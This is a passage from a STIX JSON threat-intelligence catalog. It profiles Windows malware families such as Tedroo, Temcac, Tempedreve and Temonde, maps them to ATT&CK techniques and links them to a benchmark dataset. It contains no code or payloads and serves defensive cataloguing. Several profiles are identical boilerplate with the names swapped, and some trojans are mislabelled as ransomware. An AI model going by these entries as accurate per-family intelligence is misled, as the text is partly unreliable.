Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Tedroo receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Tedroo infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Tedroo executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Tedroo frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Tedroo",
        "Downloader.Tedroo",
        "Win32/Tedroo"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Tedroo",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/tedroo"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--52207e28-ac13-555c-a3c2-8f1b83517c82",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4341aeb8-82b4-5e4f-b8dd-0c379d961e57",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tedroo exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0c7b1270-f536-5c4a-9274-04df18979f00",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4341aeb8-82b4-5e4f-b8dd-0c379d961e57",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tedroo exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c78ef01a-c8c4-5969-8963-892fc2f9e6fe",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4341aeb8-82b4-5e4f-b8dd-0c379d961e57",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tedroo exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--5c485f3f-18aa-516b-8ff3-a923e2151a11",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Temcac",
      "description": "Trojan:Win32/Temcac is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Temcac</b><br>To an end-user, a Temcac infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Temcac is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Temcac is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Temcac frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Temcac reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Temcac",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/temcac"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8fba8108-8adf-5310-9f23-0f537ddc8db9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5c485f3f-18aa-516b-8ff3-a923e2151a11",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Temcac exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7386549d-8894-5ff6-b5fe-cea826339364",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5c485f3f-18aa-516b-8ff3-a923e2151a11",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Temcac exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2bab2657-1f5d-5d6a-9d6b-aa0e00f32e4d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5c485f3f-18aa-516b-8ff3-a923e2151a11",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Temcac exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--02ccf07e-a9d7-5f66-b35a-fa8cbfb67b42",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5c485f3f-18aa-516b-8ff3-a923e2151a11",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Temcac exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9fdf20cf-e87c-5a4c-b1c3-d228c93466d0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5c485f3f-18aa-516b-8ff3-a923e2151a11",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Temcac exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b80ab262-b4e5-5874-af4d-5068e35c6c87",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Temonde",
      "description": "Temonde (cataloged across cybersecurity threat databases as Adware.Temonde, Win.Dropper.Temonde, and Trojan:Win32/Temonde) is a persistent adware dropper and unwanted software delivery framework analyzed by Cisco Talos and Malwarebytes in 2016. Developed using the Microsoft .NET framework, Temonde is typically distributed through free software download wrappers, fake media players, and pirated software installers. Upon execution, Temonde drops compiled executable payloads into randomly named directories under %PROGRAMFILES% or %LOCALAPPDATA%, registers persistent Windows Service entries, and writes startup triggers into the Windows Registry Run keys. Temonde injects advertising hooks and proxy configurations into web browsers (including Google Chrome, Mozilla Firefox, and Internet Explorer), altering default search engines, injecting promotional banner advertisements into browsing sessions, and redirecting web queries toward affiliate marketing portals. Beyond intrusive ad monetization, its modular dropper architecture allows operators to remotely deliver secondary adware components and Potentially Unwanted Programs (PUPs). (Observed samples in benchmark: 197)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware.Temonde",
        "Win.Dropper.Temonde",
        "Trojan:Win32/Temonde",
        "Adware:Win32/Temonde",
        "Win32/Temonde"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Temonde",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/temonde"
        }
      ],
      "labels": [
        "adware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--37d35e9e-1190-53f6-b72d-f83ba2b3b6b4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b80ab262-b4e5-5874-af4d-5068e35c6c87",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Temonde exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dbaf4eec-12f9-52cf-b617-e34bf67d8b20",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b80ab262-b4e5-5874-af4d-5068e35c6c87",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Temonde exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--682dcda9-b5de-5f7b-a5e8-8ca2c0998a48",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b80ab262-b4e5-5874-af4d-5068e35c6c87",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Temonde exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--be888c3c-600d-5742-8baf-f268c21f33d7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b80ab262-b4e5-5874-af4d-5068e35c6c87",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Temonde exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--83c70e10-c289-5a09-8ec4-67facff02a60",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b80ab262-b4e5-5874-af4d-5068e35c6c87",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Temonde exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--bff08845-4cd4-58eb-b963-a787ed675114",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Tempedreve",
      "description": "Tempedreve (cataloged across security research as TrojanDownloader:Win32/Tempedreve and Trojan:Win32/Tempedreve) is a dedicated multi-stage trojan downloader and payload staging threat active across Windows systems since 2015. Operating as an initial access broker and loader, Tempedreve is specifically engineered to breach perimeter defenses and covertly stage secondary, high-severity malware payloads\u2014such as ransomware, banking trojans, and info-stealers. Tempedreve is predominantly distributed via high-volume malicious email spam campaigns (malspam) delivering password-protected ZIP archives, ISO container images, or weaponized Office macro documents. Upon execution, the malware utilizes dynamic API resolution and custom crypters to evade endpoint static signatures. Its defining behavioral signature is dropping randomized, obfuscated executable binaries directly into the user's temporary directories (%LocalAppData%\\Temp) and executing them using Windows Command Shell or PowerShell. Tempedreve establishes persistence via Windows Scheduled Tasks and Registry Run keys, polling remote command-and-control servers over encrypted HTTPS to receive download tasking. (Observed samples in benchmark: 104)",
      "is_family": true,
      "malware_types": [
        "downloader"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "TrojanDownloader:Win32/Tempedreve",
        "Trojan:Win32/Tempedreve",
        "Win32/Tempedreve"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Tempedreve",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/tempedreve"
        }
      ],
      "labels": [
        "downloader",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7db15c0a-b641-5d10-8285-a3d9dd868d73",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bff08845-4cd4-58eb-b963-a787ed675114",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tempedreve exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--59692181-d479-55cb-ae22-e354262f0348",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bff08845-4cd4-58eb-b963-a787ed675114",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tempedreve exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bcd692f8-4793-5356-b211-4ee55bc8c402",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bff08845-4cd4-58eb-b963-a787ed675114",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tempedreve exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--30d9c0ef-3a2d-572b-a5b5-720832abf50b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bff08845-4cd4-58eb-b963-a787ed675114",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tempedreve exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0f9809b8-4fb8-5d51-a4b4-6fc9806ba664",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bff08845-4cd4-58eb-b963-a787ed675114",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tempedreve exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--08c02925-9d31-5cd0-be99-b71c7385d575",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bff08845-4cd4-58eb-b963-a787ed675114",
      "target_ref": "attack-pattern--9f854ac3-c197-5dbe-b964-50f8eeda8581",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tempedreve exhibits technique T1053.005 (Scheduled Task/Job: Scheduled Task)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--99105bfb-949b-5938-a29b-5063a01ac719",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Temr",
      "description": "Trojan:Win32/Temr is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Temr</b><br>To an end-user, a Temr infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Temr is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Temr is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Temr frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Temr reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Temr",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/temr"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d132ed7c-b77f-5850-ae0a-02a69dffa507",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--99105bfb-949b-5938-a29b-5063a01ac719",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Temr exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4167605d-c8b9-54bc-8a8f-eecf784ffcbb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--99105bfb-949b-5938-a29b-5063a01ac719",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Temr exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--afa74610-5355-58ec-bde7-01775f70466a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--99105bfb-949b-5938-a29b-5063a01ac719",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Temr exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fefc3933-c125-5f1d-9860-1e800b1866c1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--99105bfb-949b-5938-a29b-5063a01ac719",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Temr exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--10aa7a37-ed45-5a2a-9b1b-dfa431f5f399",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--99105bfb-949b-5938-a29b-5063a01ac719",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Temr exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--4a240037-22c9-5c03-bad6-e12e80403473",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Tenavt",
      "description": "Trojan:Win32/Tenavt is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Tenavt</b><br>To an end-user, a Tenavt infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Tenavt is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Tenavt is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Tenavt frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Tenavt reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Tenavt",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/tenavt"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a32d505a-4708-5778-86b3-ac6e0577e327",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4a240037-22c9-5c03-bad6-e12e80403473",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tenavt exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--424f8358-27a7-5fa0-9956-85a974639663",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4a240037-22c9-5c03-bad6-e12e80403473",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tenavt exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--65add3a2-b084-5349-945c-de4ea2a585bd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4a240037-22c9-5c03-bad6-e12e80403473",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tenavt exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--33d8d9ed-3dbc-5b6a-95fb-b791a72edb75",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4a240037-22c9-5c03-bad6-e12e80403473",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tenavt exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--94c7926f-d84c-519b-abdc-c67fd1fed8dd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4a240037-22c9-5c03-bad6-e12e80403473",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tenavt exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--c52b7959-2659-567d-8f9c-477fe7932b03",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Tencent",
      "description": "PUA:Win32/Tencent (often flagged generically) typically refers to aggressive **Potentially Unwanted Applications (PUAs), Adware, or unwanted software bundles** originating from or masquerading as software from the Chinese technology conglomerate Tencent. While Tencent produces legitimate software (like WeChat), these generic detections usually flag highly aggressive installers that force unwanted system optimizers, alternative browsers, and heavy telemetric tracking onto the user's system without clear consent.<br><br><b>Understanding 'Tencent' PUA Detections</b><br>To an end-user, this infection manifests as a sudden takeover of their system by foreign-language applications. New icons appear on the desktop (often for things like 'Tencent PC Manager' or 'QQ Browser'), the default search engine is changed, and system performance degrades due to heavy background tracking. For an enterprise security team, it represents a severe compliance and data privacy risk, as these applications often aggressively harvest user data and transmit it to overseas servers.<br><br><b>Execution and Bundling Mechanics</b><br>These bundles are typically encountered when users download free software from unverified third-party portals, or via deceptive malvertising (`T1189`). The initial installer (`T1204.002`) acts as a wrapper. Upon execution, it often bypasses standard installation prompts, silently deploying multiple applications simultaneously (`T1105`). It establishes aggressive persistence by installing deep-level system services (`T1543.003`) and modifying the Registry (`T1112`) to ensure its associated browsers and optimizers launch on boot. These applications frequently employ anti-uninstallation techniques, actively preventing the user from removing them via the standard Control Panel, and heavily modifying browser configurations to force traffic through their own search portals (`T1562.001`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact is severe performance degradation, privacy violation, and an impaired user experience. Host-based IoCs include EDR alerts for the silent installation of multiple unknown services, the sudden appearance of Chinese-language application directories in `Program Files`, and heavy registry modifications to browser policies. Network IoCs include persistent, high-volume outbound telemetry traffic to Tencent-associated domains or unknown IP addresses in China. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Tencent",
